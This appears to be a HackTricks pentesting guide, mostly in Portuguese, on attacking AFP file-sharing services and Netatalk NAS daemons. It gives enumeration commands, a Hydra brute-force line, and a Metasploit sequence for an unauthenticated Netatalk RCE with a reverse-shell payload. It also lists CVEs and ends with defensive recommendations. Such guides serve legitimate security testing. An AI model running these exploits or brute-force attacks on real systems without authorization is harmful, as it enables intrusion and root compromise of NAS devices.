548 - Pentesting Apple Filing Protocol (AFP)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
O Apple Filing Protocol (AFP), anteriormente conhecido como AppleTalk Filing Protocol, é um protocolo de rede especializado incluído dentro do Apple File Service (AFS). Foi projetado para fornecer serviços de arquivos para macOS e o clássico Mac OS. O AFP destaca-se por suportar nomes de arquivos Unicode, permissões estilo POSIX e ACL, resource forks, atributos estendidos nomeados e mecanismos sofisticados de bloqueio de arquivos.
Embora o AFP tenha sido substituído pelo SMB nas versões mais modernas do macOS (SMB é o padrão desde o OS X 10.9), ele ainda é encontrado em:
- Ambientes legados macOS / Mac OS 9
- Appliances NAS (QNAP, Synology, Western Digital, TrueNAS…) que incorporam o daemon open-source Netatalk
- Redes Mixed-OS onde o Time-Machine-over-AFP ainda está habilitado
Porta TCP padrão: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeração
Banner rápido / informações do servidor
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Scripts NSE úteis para AFP:
| Script | O que faz |
|---|---|
| afp-ls | Lista volumes e arquivos AFP disponíveis |
| afp-brute | Força bruta de senha contra o login AFP |
| afp-serverinfo | Exibe nome do servidor, tipo de máquina, versão do AFP, UAMs suportados, etc. |
| afp-showmount | Lista shares juntamente com suas ACLs |
| afp-path-vuln | Detecta (e pode explorar) directory-traversal, CVE-2010-0533 |
O script brute-force do NSE pode ser combinado com Hydra/Medusa se for necessário mais controle:
hydra -L users.txt -P passwords.txt afp://<IP>
Se você já tiver credenciais, Nmap’s AFP scripts ficam muito mais úteis porque afp-serverinfo leaks os UAMs anunciados (métodos de autenticação), enquanto afp-showmount e afp-ls podem enumerar shares acessíveis, ACLs e arquivos interessantes:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
Pay attention to:
- Machine Type: Netatalk in
afp-serverinfooutput, que geralmente significa um host NAS / Unix em vez da própria implementação AFP da Apple. - UAMs como
DHX,DHX2,CleartxtouGuest, pois indicam diretamente os caminhos de login acessíveis e se a autenticação legada / fraca está habilitada. - Share ACLs do
afp-showmount; compartilhamentos legíveis por todos ou estilo drop-box frequentemente expõem backups, arquivos.apple metadados de usuário antes mesmo de você montar o volume.
Interacting with shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (usando afpfs-ng ‑ empacotado na maioria das distros)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Uma vez montado, lembre-se de que os resource-forks clássicos do Mac são armazenados como arquivos AppleDouble ocultos ._* — estes frequentemente contêm metadados interessantes que ferramentas DFIR deixam passar.
Em alvos Netatalk, esse backend de metadados também influência a exploitability:
ea = adsignifica que os metadados são armazenados em arquivos AppleDouble v2 / diretórios.AppleDouble.ea = sysouea = sambaarmazena os metadados em atributos estendidos do sistema de arquivos.- Em Netatalk 4.2+ a antiga opção
appledoublefoi removida e o backend é controlado unicamente através da opçãoea.
Do ponto de vista ofensivo, isso permite decidir rapidamente se AppleDouble-oriented bugs são mais provavelmente alcançáveis no servidor.
Vulnerabilidades Comuns & Exploração
Netatalk unauthenticated RCE chain (2022)
Vários fornecedores de NAS distribuíram Netatalk ≤3.1.12. A falta de verificação de limites em parse_entries() permite que um atacante construa um cabeçalho AppleDouble malicioso e obtenha remote root antes da autenticação (CVSS 9.8 – CVE-2022-23121). Há um write-up completo da NCC Group com PoC explorando o Western-Digital PR4100 disponível.
O Metasploit (>= 6.3) inclui o módulo exploit/linux/netatalk/parse_entries, que entrega o payload via DSI WRITE.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Se o alvo executar um firmware QNAP/Synology afetado, a exploração bem-sucedida fornece um shell como root.
Netatalk OpenSession heap overflow (2018)
Versões antigas do Netatalk (3.0.0 - 3.1.11) são vulneráveis a um out-of-bounds write no handler DSI OpenSession, permitindo execução de código não autenticada (CVE-2018-1160). Uma análise detalhada e um PoC foram publicados pela Tenable Research.
Newer Netatalk attack surface (2022-2024)
Avisos recentes do Netatalk mostram que a superfície de ataque não está mais limitada a parse_entries() e ao tratamento de OpenSession:
- CVE-2022-45188: um arquivo
.applespecialmente forjado pode disparar um heap overflow emafp_getappl; isto é especialmente relevante se você puder escrever arquivos em um share e o servidor executar os recursos FCE / notify. - CVE-2023-42464: um bug de type confusion nos handlers Spotlight RPC pode tornar-se acessível quando
spotlight = yesestá habilitado emafp.conf(desabilitado por padrão). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: one-byte heap out-of-bounds writes em caminhos relacionados ao login corrigidos em Netatalk 2.4.1 / 3.1.19 / 3.2.1. Esses bugs são interessantes porque a possibilidade de exploração depende dos UAMs configurados:
uams_clrtxt.so+ PAM-backed ClearTxt login expõe o caminhoFPLoginExtrelevante para CVE-2024-38439.uams_dhx.so+ PAM-backed DHX login alcança o caminho vulnerável para CVE-2024-38440.uams_guest.somantém o caminho de login Guest acessível para CVE-2024-38441.
Isso significa que a saída de afp-serverinfo não é apenas dados de fingerprinting; ela ajuda você a decidir qual login parser está exposto antes de gastar tempo no desenvolvimento de exploit ou triagem do firmware do NAS.
Other notable issues
- CVE-2022-22995 – Symlink redirection levando a escrita arbitrária de arquivos / RCE quando AppleDouble v2 está habilitado (3.1.0 - 3.1.17).
- CVE-2010-0533 – Directory traversal no Apple Mac OS X 10.6 AFP (detectado por
afp-path-vuln.nse). - Vários bugs de segurança de memória foram corrigidos novamente durante os lançamentos do Netatalk em 2024; se você identificar
Netatalkemafp-serverinfo, gaste um minuto correlacionando os UAMs expostos / Spotlight / backend de metadata com a versão do servidor antes de assumir que apenas os bugs de 2018/2022 importam.
Defensive Recommendations
- Disable AFP a menos que seja estritamente necessário – use SMB3 ou NFS em vez disso.
- Se o AFP precisar permanecer, upgrade Netatalk para ≥ 3.1.18 or 4.x, ou aplique firmware do fornecedor que back-ports os patches de 2022/2023/2024.
- Enforce Strong UAMs (p.ex. DHX2), desabilite logins em clear-text e logins Guest.
- Restrinja o TCP 548 a sub-redes confiáveis e encapsule o AFP dentro de uma VPN quando exposto remotamente.
- Faça varreduras periódicas com
nmap -p 548 --script afp-*em CI/CD para detectar appliances rogue / downgraded.
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – “Arbitrary code execution in parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


